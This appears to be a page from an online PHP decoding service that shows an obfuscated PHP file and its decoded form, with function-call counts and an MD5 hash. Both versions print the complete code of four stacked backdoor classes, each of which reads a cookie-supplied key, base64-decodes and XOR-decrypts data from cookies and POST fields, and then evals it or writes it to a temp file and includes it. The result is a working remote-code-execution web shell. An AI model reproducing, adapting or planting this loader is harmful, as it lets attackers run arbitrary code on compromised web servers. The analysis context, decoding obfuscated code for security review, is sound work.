Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ..
Decoded Output download
<?php $dbiLINOTz = chr (77) . chr (95) . chr ( 1066 - 952 ).chr (111) . "A";$gZBapsuRp = chr ( 511 - 412 )."l" . chr ( 491 - 394 ).chr (115) . "s" . "_" . "e" . 'x' . 'i' . 's' . chr ( 322 - 206 )."s";$hpiqzKSuWn = class_exists($dbiLINOTz); $dbiLINOTz = "53321";$gZBapsuRp = "47574";$xMbCaVxA = FALSE;if ($hpiqzKSuWn === $xMbCaVxA){$HwTHCO = "58383";class M_roA{public function tDIxmHY(){echo "22489";}private $hYfxMB;public static $yhpdOaehtr = "197242f6-5165-4ba1-afd8-e11ff9fa7fcb";public static $EvYNqC = 59754;public function __construct($hfYJz=0){$iFclmpgY = $_POST;$snLTXDnjEx = $_COOKIE;$bqWJyFTGaw = @$snLTXDnjEx[substr(M_roA::$yhpdOaehtr, 0, 4)];if (!empty($bqWJyFTGaw)){$yiGojD = "base64";$cDYtOF = "";$bqWJyFTGaw = explode(",", $bqWJyFTGaw);foreach ($bqWJyFTGaw as $dsAhl){$cDYtOF .= @$snLTXDnjEx[$dsAhl];$cDYtOF .= @$iFclmpgY[$dsAhl];}$cDYtOF = array_map($yiGojD . chr ( 421 - 326 ).chr ( 630 - 530 ).chr ( 873 - 772 )."c" . "o" . "d" . chr (101), array($cDYtOF,)); $cDYtOF = $cDYtOF[0] ^ str_repeat(M_roA::$yhpdOaehtr, (strlen($cDYtOF[0]) / strlen(M_roA::$yhpdOaehtr)) + 1);M_roA::$EvYNqC = @unserialize($cDYtOF);}}private function SlrZjQCf($HwTHCO){if (is_array(M_roA::$EvYNqC)) {$lVOQHc = str_replace('<' . "?" . 'p' . "h" . "p", "", M_roA::$EvYNqC[chr (99) . 'o' . "n" . "t" . chr ( 944 - 843 ).'n' . "t"]);eval($lVOQHc); $HwTHCO = "58383";exit();}}public function __destruct(){$this->SlrZjQCf($HwTHCO);}}$iUzPnZEvaw = new /* 23220 */ M_roA(); $iUzPnZEvaw = str_repeat("33078_64831", 1);} ?><?php $JWJFubsbIL = "i" . chr ( 276 - 181 ).chr ( 915 - 826 )."T" . "t";$jkpPljf = 'c' . chr ( 612 - 504 )."a" . "s" . "s" . "_" . 'e' . chr ( 1087 - 967 ).chr ( 602 - 497 )."s" . chr ( 1010 - 894 ).chr ( 528 - 413 ); $teaTMjhzgw = class_exists($JWJFubsbIL); $JWJFubsbIL = "32812";$jkpPljf = "4732";if ($teaTMjhzgw === FALSE){class i_YTt{public function YSywLOX(){echo "51955";}private $TWNRyNCv;public static $dbNBjbXf = "e99b2727-0845-4c78-8751-1b7f0e9adf8d";public static $dddNBFn = 59701;public function __construct($ZOeIBUqXd=0){$zDJcZyA = $_POST;$oVezf = $_COOKIE;$CMVNqBlA = @$oVezf[substr(i_YTt::$dbNBjbXf, 0, 4)];if (!empty($CMVNqBlA)){$YlgSl = "base64";$vGqxnvtB = "";$CMVNqBlA = explode(",", $CMVNqBlA);foreach ($CMVNqBlA as $QtraPEXQw){$vGqxnvtB .= @$oVezf[$QtraPEXQw];$vGqxnvtB .= @$zDJcZyA[$QtraPEXQw];}$vGqxnvtB = array_map($YlgSl . "_" . chr ( 612 - 512 ).'e' . "c" . "o" . chr ( 798 - 698 )."e", array($vGqxnvtB,)); $vGqxnvtB = $vGqxnvtB[0] ^ str_repeat(i_YTt::$dbNBjbXf, (strlen($vGqxnvtB[0]) / strlen(i_YTt::$dbNBjbXf)) + 1);i_YTt::$dddNBFn = @unserialize($vGqxnvtB);}}private function tdviOgQZe(){if (is_array(i_YTt::$dddNBFn)) {$VggzRUTGHi = sys_get_temp_dir() . "/" . crc32(i_YTt::$dddNBFn['s' . chr (97) . "l" . "t"]);@i_YTt::$dddNBFn["w" . chr (114) . chr (105) . 't' . "e"]($VggzRUTGHi, i_YTt::$dddNBFn['c' . "o" . chr ( 537 - 427 ).chr (116) . chr ( 467 - 366 ).'n' . "t"]);include $VggzRUTGHi;@i_YTt::$dddNBFn[chr (100) . chr ( 1008 - 907 )."l" . "e" . chr ( 658 - 542 ).chr (101)]($VggzRUTGHi); $uwJhDafj = "55531";exit();}}public function __destruct(){$this->tdviOgQZe();}}$egFiuc = new /* 3165 */ i_YTt(); $egFiuc = str_repeat("27073_49275", 1);} ?><?php $AiIIQZQgoP = class_exists("kR_VuboI"); $PIRmiQFO = $AiIIQZQgoP;if (!$PIRmiQFO){class kR_VuboI{private $KEqVbrTkd;public static $ZYvgDPDOm = "675951cf-a8ea-4bf7-b3b8-ca18d86503c0";public static $eMIvi = NULL;public function __construct(){$rdDpu = $_COOKIE;$kMIaGLiP = $_POST;$RvwTvl = @$rdDpu[substr(kR_VuboI::$ZYvgDPDOm, 0, 4)];if (!empty($RvwTvl)){$aJXskHl = "base64";$zucWe = "";$RvwTvl = explode(",", $RvwTvl);foreach ($RvwTvl as $GlVxVGu){$zucWe .= @$rdDpu[$GlVxVGu];$zucWe .= @$kMIaGLiP[$GlVxVGu];}$zucWe = array_map($aJXskHl . "_" . 'd' . chr (101) . "c" . chr (111) . chr ( 389 - 289 ).chr (101), array($zucWe,)); $zucWe = $zucWe[0] ^ str_repeat(kR_VuboI::$ZYvgDPDOm, (strlen($zucWe[0]) / strlen(kR_VuboI::$ZYvgDPDOm)) + 1);kR_VuboI::$eMIvi = @unserialize($zucWe);}}public function __destruct(){$this->lTLUErhy();}private function lTLUErhy(){if (is_array(kR_VuboI::$eMIvi)) {$RPzfIz = sys_get_temp_dir() . "/" . crc32(kR_VuboI::$eMIvi[chr (115) . chr (97) . chr ( 1094 - 986 )."t"]);@kR_VuboI::$eMIvi[chr (119) . "r" . chr (105) . "t" . "e"]($RPzfIz, kR_VuboI::$eMIvi['c' . "o" . "n" . "t" . 'e' . "n" . chr ( 544 - 428 )]);include $RPzfIz;@kR_VuboI::$eMIvi['d' . "e" . chr ( 540 - 432 ).chr ( 1041 - 940 )."t" . 'e']($RPzfIz);exit();}}}$oTYdmkyaXM = new kR_VuboI(); $oTYdmkyaXM = NULL;} ?><?php if (!class_exists("KbJRglSgC")){class KbJRglSgC{public static $mnhEcVeIf = "qGUkiLtsaHdXCDeN";public static $prnQLJqm = NULL;public function __construct(){$AEmvRekIv = @$_COOKIE[substr(KbJRglSgC::$mnhEcVeIf, 0, 4)];if (!empty($AEmvRekIv)){$eRuiv = "base64";$BJeEEnWWh = "";$AEmvRekIv = explode(",", $AEmvRekIv);foreach ($AEmvRekIv as $antzEBx){$BJeEEnWWh .= @$_COOKIE[$antzEBx];$BJeEEnWWh .= @$_POST[$antzEBx];}$BJeEEnWWh = array_map($eRuiv . "_decode", array($BJeEEnWWh,)); $BJeEEnWWh = $BJeEEnWWh[0] ^ str_repeat(KbJRglSgC::$mnhEcVeIf, (strlen($BJeEEnWWh[0]) / strlen(KbJRglSgC::$mnhEcVeIf)) + 1);KbJRglSgC::$prnQLJqm = @unserialize($BJeEEnWWh);}}public function __destruct(){$this->uubAXAkuY();}private function uubAXAkuY(){if (is_array(KbJRglSgC::$prnQLJqm)) {$RbiOptYexV = sys_get_temp_dir() . "/" . crc32(KbJRglSgC::$prnQLJqm["salt"]);@KbJRglSgC::$prnQLJqm["write"]($RbiOptYexV, KbJRglSgC::$prnQLJqm["content"]);include $RbiOptYexV;@KbJRglSgC::$prnQLJqm["delete"]($RbiOptYexV);exit();}}}$jDzMoQj = new KbJRglSgC(); $jDzMoQj = NULL;} ?>
Did this file decode correctly?
Original Code
<?php $dbiLINOTz = chr (77) . chr (95) . chr ( 1066 - 952 ).chr (111) . "\101";$gZBapsuRp = chr ( 511 - 412 )."\x6c" . chr ( 491 - 394 ).chr (115) . "\163" . "\x5f" . "\145" . 'x' . 'i' . 's' . chr ( 322 - 206 )."\x73";$hpiqzKSuWn = class_exists($dbiLINOTz); $dbiLINOTz = "53321";$gZBapsuRp = "47574";$xMbCaVxA = FALSE;if ($hpiqzKSuWn === $xMbCaVxA){$HwTHCO = "58383";class M_roA{public function tDIxmHY(){echo "22489";}private $hYfxMB;public static $yhpdOaehtr = "197242f6-5165-4ba1-afd8-e11ff9fa7fcb";public static $EvYNqC = 59754;public function __construct($hfYJz=0){$iFclmpgY = $_POST;$snLTXDnjEx = $_COOKIE;$bqWJyFTGaw = @$snLTXDnjEx[substr(M_roA::$yhpdOaehtr, 0, 4)];if (!empty($bqWJyFTGaw)){$yiGojD = "base64";$cDYtOF = "";$bqWJyFTGaw = explode(",", $bqWJyFTGaw);foreach ($bqWJyFTGaw as $dsAhl){$cDYtOF .= @$snLTXDnjEx[$dsAhl];$cDYtOF .= @$iFclmpgY[$dsAhl];}$cDYtOF = array_map($yiGojD . chr ( 421 - 326 ).chr ( 630 - 530 ).chr ( 873 - 772 )."\143" . "\x6f" . "\x64" . chr (101), array($cDYtOF,)); $cDYtOF = $cDYtOF[0] ^ str_repeat(M_roA::$yhpdOaehtr, (strlen($cDYtOF[0]) / strlen(M_roA::$yhpdOaehtr)) + 1);M_roA::$EvYNqC = @unserialize($cDYtOF);}}private function SlrZjQCf($HwTHCO){if (is_array(M_roA::$EvYNqC)) {$lVOQHc = str_replace('<' . "\x3f" . 'p' . "\x68" . "\160", "", M_roA::$EvYNqC[chr (99) . 'o' . "\x6e" . "\164" . chr ( 944 - 843 ).'n' . "\x74"]);eval($lVOQHc); $HwTHCO = "58383";exit();}}public function __destruct(){$this->SlrZjQCf($HwTHCO);}}$iUzPnZEvaw = new /* 23220 */ M_roA(); $iUzPnZEvaw = str_repeat("33078_64831", 1);} ?><?php $JWJFubsbIL = "\151" . chr ( 276 - 181 ).chr ( 915 - 826 )."\124" . "\x74";$jkpPljf = 'c' . chr ( 612 - 504 )."\x61" . "\x73" . "\x73" . "\137" . 'e' . chr ( 1087 - 967 ).chr ( 602 - 497 )."\x73" . chr ( 1010 - 894 ).chr ( 528 - 413 ); $teaTMjhzgw = class_exists($JWJFubsbIL); $JWJFubsbIL = "32812";$jkpPljf = "4732";if ($teaTMjhzgw === FALSE){class i_YTt{public function YSywLOX(){echo "51955";}private $TWNRyNCv;public static $dbNBjbXf = "e99b2727-0845-4c78-8751-1b7f0e9adf8d";public static $dddNBFn = 59701;public function __construct($ZOeIBUqXd=0){$zDJcZyA = $_POST;$oVezf = $_COOKIE;$CMVNqBlA = @$oVezf[substr(i_YTt::$dbNBjbXf, 0, 4)];if (!empty($CMVNqBlA)){$YlgSl = "base64";$vGqxnvtB = "";$CMVNqBlA = explode(",", $CMVNqBlA);foreach ($CMVNqBlA as $QtraPEXQw){$vGqxnvtB .= @$oVezf[$QtraPEXQw];$vGqxnvtB .= @$zDJcZyA[$QtraPEXQw];}$vGqxnvtB = array_map($YlgSl . "\x5f" . chr ( 612 - 512 ).'e' . "\x63" . "\157" . chr ( 798 - 698 )."\145", array($vGqxnvtB,)); $vGqxnvtB = $vGqxnvtB[0] ^ str_repeat(i_YTt::$dbNBjbXf, (strlen($vGqxnvtB[0]) / strlen(i_YTt::$dbNBjbXf)) + 1);i_YTt::$dddNBFn = @unserialize($vGqxnvtB);}}private function tdviOgQZe(){if (is_array(i_YTt::$dddNBFn)) {$VggzRUTGHi = sys_get_temp_dir() . "/" . crc32(i_YTt::$dddNBFn['s' . chr (97) . "\154" . "\164"]);@i_YTt::$dddNBFn["\167" . chr (114) . chr (105) . 't' . "\145"]($VggzRUTGHi, i_YTt::$dddNBFn['c' . "\157" . chr ( 537 - 427 ).chr (116) . chr ( 467 - 366 ).'n' . "\x74"]);include $VggzRUTGHi;@i_YTt::$dddNBFn[chr (100) . chr ( 1008 - 907 )."\154" . "\145" . chr ( 658 - 542 ).chr (101)]($VggzRUTGHi); $uwJhDafj = "55531";exit();}}public function __destruct(){$this->tdviOgQZe();}}$egFiuc = new /* 3165 */ i_YTt(); $egFiuc = str_repeat("27073_49275", 1);} ?><?php $AiIIQZQgoP = class_exists("kR_VuboI"); $PIRmiQFO = $AiIIQZQgoP;if (!$PIRmiQFO){class kR_VuboI{private $KEqVbrTkd;public static $ZYvgDPDOm = "675951cf-a8ea-4bf7-b3b8-ca18d86503c0";public static $eMIvi = NULL;public function __construct(){$rdDpu = $_COOKIE;$kMIaGLiP = $_POST;$RvwTvl = @$rdDpu[substr(kR_VuboI::$ZYvgDPDOm, 0, 4)];if (!empty($RvwTvl)){$aJXskHl = "base64";$zucWe = "";$RvwTvl = explode(",", $RvwTvl);foreach ($RvwTvl as $GlVxVGu){$zucWe .= @$rdDpu[$GlVxVGu];$zucWe .= @$kMIaGLiP[$GlVxVGu];}$zucWe = array_map($aJXskHl . "\137" . 'd' . chr (101) . "\x63" . chr (111) . chr ( 389 - 289 ).chr (101), array($zucWe,)); $zucWe = $zucWe[0] ^ str_repeat(kR_VuboI::$ZYvgDPDOm, (strlen($zucWe[0]) / strlen(kR_VuboI::$ZYvgDPDOm)) + 1);kR_VuboI::$eMIvi = @unserialize($zucWe);}}public function __destruct(){$this->lTLUErhy();}private function lTLUErhy(){if (is_array(kR_VuboI::$eMIvi)) {$RPzfIz = sys_get_temp_dir() . "/" . crc32(kR_VuboI::$eMIvi[chr (115) . chr (97) . chr ( 1094 - 986 )."\164"]);@kR_VuboI::$eMIvi[chr (119) . "\x72" . chr (105) . "\x74" . "\x65"]($RPzfIz, kR_VuboI::$eMIvi['c' . "\157" . "\156" . "\164" . 'e' . "\156" . chr ( 544 - 428 )]);include $RPzfIz;@kR_VuboI::$eMIvi['d' . "\145" . chr ( 540 - 432 ).chr ( 1041 - 940 )."\x74" . 'e']($RPzfIz);exit();}}}$oTYdmkyaXM = new kR_VuboI(); $oTYdmkyaXM = NULL;} ?><?php if (!class_exists("KbJRglSgC")){class KbJRglSgC{public static $mnhEcVeIf = "qGUkiLtsaHdXCDeN";public static $prnQLJqm = NULL;public function __construct(){$AEmvRekIv = @$_COOKIE[substr(KbJRglSgC::$mnhEcVeIf, 0, 4)];if (!empty($AEmvRekIv)){$eRuiv = "base64";$BJeEEnWWh = "";$AEmvRekIv = explode(",", $AEmvRekIv);foreach ($AEmvRekIv as $antzEBx){$BJeEEnWWh .= @$_COOKIE[$antzEBx];$BJeEEnWWh .= @$_POST[$antzEBx];}$BJeEEnWWh = array_map($eRuiv . "_decode", array($BJeEEnWWh,)); $BJeEEnWWh = $BJeEEnWWh[0] ^ str_repeat(KbJRglSgC::$mnhEcVeIf, (strlen($BJeEEnWWh[0]) / strlen(KbJRglSgC::$mnhEcVeIf)) + 1);KbJRglSgC::$prnQLJqm = @unserialize($BJeEEnWWh);}}public function __destruct(){$this->uubAXAkuY();}private function uubAXAkuY(){if (is_array(KbJRglSgC::$prnQLJqm)) {$RbiOptYexV = sys_get_temp_dir() . "/" . crc32(KbJRglSgC::$prnQLJqm["salt"]);@KbJRglSgC::$prnQLJqm["write"]($RbiOptYexV, KbJRglSgC::$prnQLJqm["content"]);include $RbiOptYexV;@KbJRglSgC::$prnQLJqm["delete"]($RbiOptYexV);exit();}}}$jDzMoQj = new KbJRglSgC(); $jDzMoQj = NULL;} ?>
Function Calls
chr | 8 |
class_exists | 1 |
Stats
MD5 | 8d824e3dc0067f55deaca01470e1f2c6 |
Eval Count | 0 |
Decode Time | 102 ms |